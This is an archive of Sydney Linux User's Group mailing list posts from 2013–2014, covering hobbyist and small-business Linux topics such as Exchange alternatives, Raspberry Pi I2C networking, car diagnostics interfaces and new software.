Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] LinuxCon Japan 2014
Just thought I'd mention that LinuxCon 2014 in Japan is coming up. http://events.linuxfoundation.org/events/linuxcon-japan Although it's only for two days, that would leave the rest of the time for a few trips to Akihabara and some extra Tokyo tourism if you took the whole week off work. There's heaps of stuff going on there, that is very different than our very good LinuxConf. If there's any interest in attenting post back here. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Reuse or Recycle Your Old Computer
Hi Tom, Have you seen these ? : http://www.adapteva.com/ On Thu, Feb 6, 2014 at 8:29 AM, Tom Worthington tom.worthing...@tomw.net.au wrote: On 04/02/14 16:42, Glen Turner wrote: I'd also be careful when comparing old v new computers that you include the entire system, especially if moving from a CRT to LCD screen. ... Are there many CRTs still in use? The computer recycling bins in Canberra were full of old LCD screens last year: http://blog.tomw.net.au/2013/ 02/e-waste-collection-working-in-canberra.html But when I had a look more recently there seemed to be mostly LCDs. New LCD displays are more energy efficient than old ones, but the savings are much less than moving from a CRT. One problem with the official recycling scheme in Canberra and some other locations, is that there is no one looking to see what could be reused: everything goes straight in a bin for recycling. The flip side is that old computers can be outstanding value for money when used as computers ... monochrome laser printer ... Free old equipment good value. My last two laser printers I picked up discarded in the street, complete with toner. But keep in mind that a laser printer uses a lot of power and if you only use them occasionally, turn them off at the wall. -- Tom Worthington FACS CP, TomW Communications Pty Ltd. t: 0419496150 The Higher Education Whisperer http://blog.highereducationwhisperer.com/ PO Box 13, Belconnen ACT 2617, Australia http://www.tomw.net.au Liability limited by a scheme approved under Professional Standards Legislation Adjunct Senior Lecturer, Research School of Computer Science, Australian National University http://cs.anu.edu.au/courses/COMP7310/ -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Linux Exchange Alternative
Hi Edwni, I'm counting 8 ^ 2 * 2 answers. First, do you want the output in csv or pdf ? Secondly, what colour are you wanting the column-headings in ? Thirdly, what's the sort order ? On Fri, Jan 31, 2014 at 1:08 PM, Edwin Humphries edw...@netsensecomputers.com.au wrote: Guys, thanks for all the feedback. I now have 8 options. Just checking if anyone has any recommendations (either positive or negative); being based in a country town (Kiama) I'm not a full-time server or Linux tech. 1. zimbra 2. sogo 3. zarafa 4. axigen 5. zentyal 6. open-xchange 7. kolab 8. scalix Regards, Edwin Humphries Mobile: 0419 233 051 -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Linux Exchange Alternative
Hi Edwin, I did this for a client in the last few weeks. This might not be a perfect match to your question but in the end we selected Lightning Calendar for firefox: http://www.mozilla.org/en-US/projects/calendar/ It's turned out perfect for our users, because it is just an extension that runs inside Thunderbird and doesn't require a Server. I came across a distro that does exactly what you are asking for. I will try to find it in my browser history. On Thu, Jan 30, 2014 at 2:32 PM, Edwin Humphries edw...@netsensecomputers.com.au wrote: G'day all. Some time ago I had a look at a Linux alternative to M$ Exchange - I seem to recall that it had been started by HP, then handed over to someone else. It was commercial software (paid) but a realistic alternative to Exchange. I have a client with 6 PCs using Outlook, who now needs an Exchange SErver, and is willing to look at a Linux alternative, but I now can't find the software i remember. There seem to be several others, so I wonder: what does everybody think is the best option (especially in terms of ease of installation and configuration). The main goal is Outlook-based shared calendaring. -- Regards, Edwin Humphries Mobile: 0419 233 051 NetSense Computers (Ironstone Technology Pty Ltd) -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Linux Exchange Alternative
Hi Edwin, http://www.zentyal.org/ is what I found, but I haven't used it. On Thu, Jan 30, 2014 at 2:40 PM, David Lyon david.lyon.preissh...@gmail.com wrote: Hi Edwin, I did this for a client in the last few weeks. This might not be a perfect match to your question but in the end we selected Lightning Calendar for firefox: http://www.mozilla.org/en-US/projects/calendar/ It's turned out perfect for our users, because it is just an extension that runs inside Thunderbird and doesn't require a Server. I came across a distro that does exactly what you are asking for. I will try to find it in my browser history. On Thu, Jan 30, 2014 at 2:32 PM, Edwin Humphries edw...@netsensecomputers.com.au wrote: G'day all. Some time ago I had a look at a Linux alternative to M$ Exchange - I seem to recall that it had been started by HP, then handed over to someone else. It was commercial software (paid) but a realistic alternative to Exchange. I have a client with 6 PCs using Outlook, who now needs an Exchange SErver, and is willing to look at a Linux alternative, but I now can't find the software i remember. There seem to be several others, so I wonder: what does everybody think is the best option (especially in terms of ease of installation and configuration). The main goal is Outlook-based shared calendaring. -- Regards, Edwin Humphries Mobile: 0419 233 051 NetSense Computers (Ironstone Technology Pty Ltd) -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Car on-board diagnostics
Hi David, For some reason, this message went in my spam bin and I only just found it. How's the status with this ? On Sat, Oct 26, 2013 at 11:41 PM, David Joshua Geary bianca.ura...@gmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Trying to interface with my car's on-board computer. The car is a Holden Astra TS99A with X18XE engine. I update this wiki page with what I've learned about it: http://www.uranus.strangled.net/mediawiki/index.php/Car_On-Board_Diagnostics I'm looking for information on the ALDL communications protocol, ie how to send commands and how to interpret the responses. - -- David Joshua Geary Debian, The Universal Operating System http://debian.org/ I don't care what software you use so long as we only exchange files in open data formats Open-Document http://en.wikipedia.org/wiki/Open_Document Ogg http://en.wikipedia.org/wiki/Ogg PDF http://en.wikipedia.org/wiki/Pdf - -BEGIN PGP PUBLIC KEY BLOCK- Version: GnuPG v1.4.10 (GNU/Linux) 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 =kv+y - -END PGP PUBLIC KEY BLOCK- -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQIcBAEBAgAGBQJSa7iKAAoJEMR6DgDuR4IfFhQP/1XXUleRU550vPKu2+dGQ3u/ adVeYleU/tv2Zl6YwRm5Ci7utg5ecbJ9CsUO6LQ68suMxJqIlZ93JGs4q/cHKBeU O70XKzvhG0SAWT/BetRPExUP2u7cZVxnvGqGSpoJVvgGNup4d4LebsuGZLs+Vx/X Umgnj1LkMQmeLGAWSIkgQ/bCB4nNpj79wnz4KuI/6FB9cEiVJBRJGD9yHS81k8oL 0EBlfCZTsUpV0tJkKuyqmDPEv60j9w7ztVyV5J535OHuzQL2ADpI1uyJBUEh0Z9e MIP7vGbbelW+dclHk53EJbnpq7judgijYKGTIuxAU1+SYu09ZqGNovksHfyFqqxl K/0jucEDXDmh6eFHIlmf+H/X3+cqAQk3lEeppHYNlXMttN6ZFneVVz1q5jSsECbi uMbxJ+iznFY7BRDgQ2PRNCZvPbbSY4YAS7GqwCT8eZ7trRcF/HI45o9uQoIeL097 nd0UposNCVxaO33uM8SOpkSnKyNYA/Dw8a4cqu6bBj20WZlpdtHhrsvkumurUjMw j74MivaEZKqD5nEjnXsn4q+ixDC11NfOWD9nEBlK9+bLcJFjAJuke2Ts65ZE3lm7
[SLUG] SLUG Meeting Information followup on GM Serial Interfaces
David gave a Lightning talk on GM interfacing. Here is the information that I found: http://www.techedge.com.au/vehicle/aldl160/vn_aldl.htm Hope that is helpful to getting your Linux interfaced. David -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Friday Night's meeting - any talks?
Hi all, I was just checking the website and there are no talks posted yet. Does anybody know RRDTool ? http://oss.oetiker.ch/rrdtool/ It would be great if, just for me, somebody who knows it could do a talk or a lightning talk on that. Regards David -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] TCP/IP over I2C
On Wed, Jun 5, 2013 at 9:39 AM, Glen Turner g...@gdt.id.au wrote: The lack of two I2C ports on the RPi would be a practical reason. The sense of master and slave carries electrical implications, so a port can't change from one to the other without restarting the bus and all of its devices. Actually the Raspberry-Pi does have two I2C ports. It's on the second GPIO interface but doesn't have the pin header soldered in. It's available providing you don't mind doing a small amount of soldering. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] TCP/IP over I2C
On Sat, Jun 1, 2013 at 5:30 PM, Chris Barnes chris.p.bar...@gmail.comwrote: This one might be impossible but does anyone have any clues for running TCP/IP over the I2C bus? I have a few Raspberry PIs and I'd like to create an Out Of Band network on them by linking them all by I2C and then running TCP/IP over it. Any suggestions? It's interesting that I2C is a actually a multi-master master/slave system. So there doesn't appear any theoretical reason as to why it wouldn't work. Let us know the results if you get it working. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] TCP/IP over I2C
On Sat, Jun 1, 2013 at 5:30 PM, Chris Barnes chris.p.bar...@gmail.comwrote: This one might be impossible but does anyone have any clues for running TCP/IP over the I2C bus? I have a few Raspberry PIs and I'd like to create an Out Of Band network on them by linking them all by I2C and then running TCP/IP over it. It's probably much easier to just use the network port that's already available on the Raspberry-Pi. You could buy a hub/switch and some RJ45 cable and it would be done in a few minutes. One interesting benefit is that you could run USBIP which is USB sharing for Linux over TCP/IP. Something I've always wanted to try. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] TCP/IP over I2C
Here's the link to that project: - http://usbip.sourceforge.net/ -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] TCP/IP over I2C
The only issue that I can see is that I2C is a bus/master protocol. I know the Linux drivers support being the Master but I'don't know if it supports being a slave. So I'm not even sure if you could easily accomplish it without using extra hardware such as PIC/AVRs. On 01/06/2013 11:11 PM, Jake Anderson ya...@vapourforge.com wrote: Question 0 is do you really need tcp/ip? If you did I'd be looking to see if you can bind an i2c endpoint to a serial port then running some sort of ppp server on it. On 01/06/13 17:30, Chris Barnes wrote: This one might be impossible but does anyone have any clues for running TCP/IP over the I2C bus? I have a few Raspberry PIs and I'd like to create an Out Of Band network on them by linking them all by I2C and then running TCP/IP over it. Any suggestions? -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/**mailinglists.htmlhttp://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] python in linux mint
On Thu, May 30, 2013 at 4:07 PM, Michael Chesterton che...@chesterton.id.au wrote: Have you looked at the raspberry pi? it's designed for the classroom to teach kids about programming and computers. Semi-related to that, a rep at Element14 at cebit was saying that there are approx. 10,000 Raspberry-Pi's being sold in Australia every month. That's a lot of Linux machines hitting the streets. The ipython shell is nicer than the plain python shell and I'm sure there are other GUI apps that I'm not aware of that do what you want, so stay tuned ;) It's worth trying that. Also, tomorrow night, I will be giving a talk on I2C and Linux. It's a communications bus that you may never have known that you had. I pulled out my Soldering-Iron and spent some time doing this on a spare VGA adaptor: - http://flipthatbit.net/2011/04/interfacing-i2c-the-easy-way/ - http://www.paintyourdragon.com/?p=43 When I plugged it into my notebook It worked rather nicely, and I'll be bringing it along tomorrow night for the talk. It sounds complicated, but it's not so bad. When it's connected to a few LED's it's actually rather fun. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Linux on the Supercomputer
Here's an article showing Linux is not only taking over the embedded systems: - http://www.zdnet.com/blog/open-source/fast-faster-fastest-linux-rules-supercomputing/11263 -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Enlightenment
I've had a similar experience. My Enlightenment (Bodhi Linux) notebook has O/S imploded with two weeks of continuous use. After changing themes, the file manager doesn't display anything (rendering problem?) making copying files from the SD card easily, not easy. Back to shell. Then, git for some reason has stopped being able to 'push'. Which is really frustrating considering that the only 'typing' and web-browsing, are the only function left to me that now work. (Sigh) -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Weekly Reading material for Linux
Hi all, This site has on some of the interesting posts on what Linux has been doing recently: - http://linuxgizmos.com/ Many things I didn't know about. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Installing Richcomm PowerManager on Ubuntu-type system
I've not tried with any modern devices but the older UPS's used to toggle the CTS or DTR data line on the serial-port to tell the PC that power was available. The driver would simply watch the pin and when it toggled the software would start taking action. These lines are still made available via the USB driver but it looks like the issue is with the installation section. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] multi file rename matching moved multiple regex pattern matches using shell expansion only
On Fri, May 3, 2013 at 1:44 PM, Kyle k...@attitia.com wrote: 'Statement_Monthwhitespace**4 digit yr.pdf' which I want to rename to '4 digit yr_Month_Statement.pdf' I can work out the regex, but having trouble figuring out how to feed this through the shell. It's admirable to know how to do that. But for safety's sake I'd just do an ls myrename.sh then edit the file manually. Think of what could happen to your bank statements with the slightest keystroke error. For me, I'd personally play it safe and edit the rename file. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Fwd: Re: Smallest and Cheapest Linux Computer ?
I'm really slow to get new stuff. I only just got a sata SSD. However, I've seen these: - http://www.ebay.com.au/itm/Free-PP-Case-USB-2-0-to-2-5-SATA-Hard-Disk-USB-Interface-Converter-Adapter-/181006710919?pt=AU_CablesConnectorshash=item2a24d73887 That might allow me to connect an SSD. The one I have is really tiny like this: - www.ebay.com.au/itm/360579278186 It's an indirect path. It has to sit on a SATA convertor: - http://www.ebay.com.au/itm/SYBA-SY-ADA40050-mSATA-PCI-E-PCIE-SSD-50mm-to-2-5-inch-SATA-Adapter-Converter-/390550912626?pt=LH_DefaultDomain_0hash=item5aeea5fe72 It's a lot of adaptors... -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Fwd: Re: Smallest and Cheapest Linux Computer ?
On Tue, Apr 30, 2013 at 3:39 PM, Grant Bailey grant_malcolm_bai...@westnet.com.au wrote: Is either device powerful enough to act as small business server? I realise that some people have turned the Pi into a server but I'm not sure whether they have been deployed for commercial applications. That Depends on the expectations. The main consideration is that the Pi has a really low performance disk interface. Out of the box it has an SD disk interface. It should be fastish* but SD cards have limited capacity. It can accept a portable USB disk but the USB transfer rate on the Pi is not great. But it might give you 500GB or more at slowish transfer rates. Still, depends on how much you load it. Samba will run. Sounds like it's worth experimenting to come up with some performance numbers. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Fwd: Re: Smallest and Cheapest Linux Computer ?
Here's some benchmarks that were previously done: - http://jalada.co.uk/2012/05/20/raspberry-pi-sd-card-benchmark.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Smallest and Cheapest Linux Computer ?
Is this the worlds cheapest Linux board ? It runs Arch Linux. It's interesting reading their user guide: - https://www.olimex.com/Products/OLinuXino/iMX233/iMX233-OLinuXino-MICRO/resources/iMX233-OLINUXINO-MICRO.pdf -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Cool OpenSource Project for the week : Gambas3 - Going where Visual Basic wanted to go - on Linux
For any old Visual Basic Programmers, here's an interesting adaptation from Benoît Minisin who lives in Paris. - http://gambas.sourceforge.net/en/main.html It's not a Clone of Visual Basic, but inspired by it. I just downloaded the development environment by doing: sudo apt-get install gamba3 It's got many interesting examples. It has a really cheerful development screen. Might be worth playing around with if your are an old Basic-file. Meaning in the old days the computers just booted up to the basic prompt. How happy were those days. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Fedora - Advancing with Gnome
I know there are Fedora lovers on the list. This might be something you guys already know but for others it might be interesting reading: - http://worldofgnome.org/fedora-19-chasing-the-perfect-gnome-distro/ -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Firefox 20.0 Problems in Mint Linux
That's a joy of Linux, stuff gets screwed up for no obvious reason. I'm really peaved now that my Terminology terminal stopped working showing similar symptons after I changed a config setting, now it won't let me get back to the same menu to change it to something else. I'd suggest fresh reinstall. That's what I'm about to do. It just may be quicker especially if you do it from a USB stick. I'd also try a different distro, like one of the ones people claim to be good: Arch Mint Bodhi MacPup etc just to learn something different. On Fri, Apr 12, 2013 at 9:05 AM, Tom Worthington tom.worthing...@tomw.net.au wrote: On 11/04/13 12:10, Heracles wrote: ... enlightenment will work well on Mint ... Installed Enlightenment, but it did not fix my problem with Firefox 20. On 11/04/13 12:42, Francis (Grizzly) Smit wrote: you can launch it in safe mode from the command line ... That produced a small scrambled Firefox 20 window, with even less working. -- Tom Worthington FACS CP, TomW Communications Pty Ltd. t: 0419496150 PO Box 13, Belconnen ACT 2617, Australia http://www.tomw.net.au Liability limited by a scheme approved under Professional Standards Legislation Adjunct Senior Lecturer, Research School of Computer Science, Australian National University http://cs.anu.edu.au/courses/**COMP7310/http://cs.anu.edu.au/courses/COMP7310/ -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/**mailinglists.htmlhttp://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Coffee Table Linux
In Europe, people not only use Linux to power data-centres but also their coffee tables. Adding LED's to your Linux can give very relaxing results. Here's a nice coffee-table probject for Linux along with a link to the source code: - https://metalab.at/wiki/RetinaTattoo -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Coffee Table Linux
Sounds good to me. Let's hear what other people have to say. On Tue, Apr 9, 2013 at 11:02 AM, Marghanita da Cruz marghan...@ramin.com.au wrote: Thanks for this David. Perhaps we could have an LED Lighting theme for the May SLUG meeting. in the spirit of the vivid festival http://www.vividsydney.com/ LEDs are my pet project, but the only link to Linux, so far, has been the webserver: http://www.ramin.com.au/eco-**sydney/LED-Lighting-guide.**shtmlhttp://www.ramin.com.au/eco-sydney/LED-Lighting-guide.shtml Marghanita David Lyon wrote: In Europe, people not only use Linux to power data-centres but also their coffee tables. Adding LED's to your Linux can give very relaxing results. Here's a nice coffee-table probject for Linux along with a link to the source code: - https://metalab.at/wiki/**RetinaTattoohttps://metalab.at/wiki/RetinaTattoo -- Marghanita da Cruz Ramin Communications Pty Ltd http://ramin.com.au/ Phone:(+61)0414-869202 -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] CFP - Tokyo Raspberry-Pi Users Group Linux Talks
This is as much an opportunity to learn as it is to talk, but I'm passing on this information as the Raspberry-Pi is after all a Linux Machine for the masses: We've already set our biggest Raspberry Jam on May 25th at IIJ Jinbocho Office. so we getting started opening Call for Paper for the event. We've love to share your knowledge through the Jam. 1.Software tips(for beginners) 2.Hardware tips(for advances) please mare sure following the link, http://www.raspi.jp/?page_id=77 or mailto:masaf...@pid0.org Of course,you can present in English at the Jam we will have translators for you and Eben :-) if any question feel free to email me masaf...@pid0.org Cheers, Masafumi Ohta Lead of Japanese Raspberry PI Users Group -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Cool New Terminal Emulator for a modern look in Linux
Hi all, I was really happy with my terminal-shell until I discovered this: - http://www.webupd8.org/2013/04/terminology-more-than-terminal-emulator.html Terminology is an updated 3D/OpenGL version of Terminator. For those into command line shells, it's quite interesting. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Welcome to the new command line for linux
Sorry for double posting but here is the homepage to Terminology: - http://www.enlightenment.org/p.php?p=about/terminology -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Linux training
Another way of learning Linux is to come to Hardware Freedom Day at the Raspberry-Pi users group. - http://www.ozberrypi.org/events/109635212/ It's not really structured, but you will get exposure and see Linux in action. I've been doing Linux for some years and I always learn something that I didn't know from somebody else. You'd be more than welcome. On Mon, Apr 1, 2013 at 10:11 AM, grant_malcolm_bai...@westnet.com.auwrote: Hello, I'm an inexperienced Linux user and would like to undertake some training in the Sydney area.Does anyone know of any suitable courses.Thank you and regards,Grant Bailey -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Question: I gave a lightning talk 1 or 2 months ago. Are these still being posted, downloadable?
Not sure but it might be some time. I just checked the homepage at http://www.slug.org.au/ and it's been recently updated to show a talk from 2010 ! (Maybe they are just testing new features - not sure) On Fri, Mar 29, 2013 at 6:11 AM, Jason Haston jason.has...@gmail.comwrote: Question: I gave a lightning talk 1 or 2 months ago. Are these still being posted, downloadable? -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Pimp My Notebook: Linux, Solid State Disk, RAM and New Paint Job for the HP Pavilion DM1
Alternatively, have you looked at using a Raspberry-PI. Linux works fine on that. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Tuning Systems and Energy Use (Sys Admin Roles and Responsibilities)
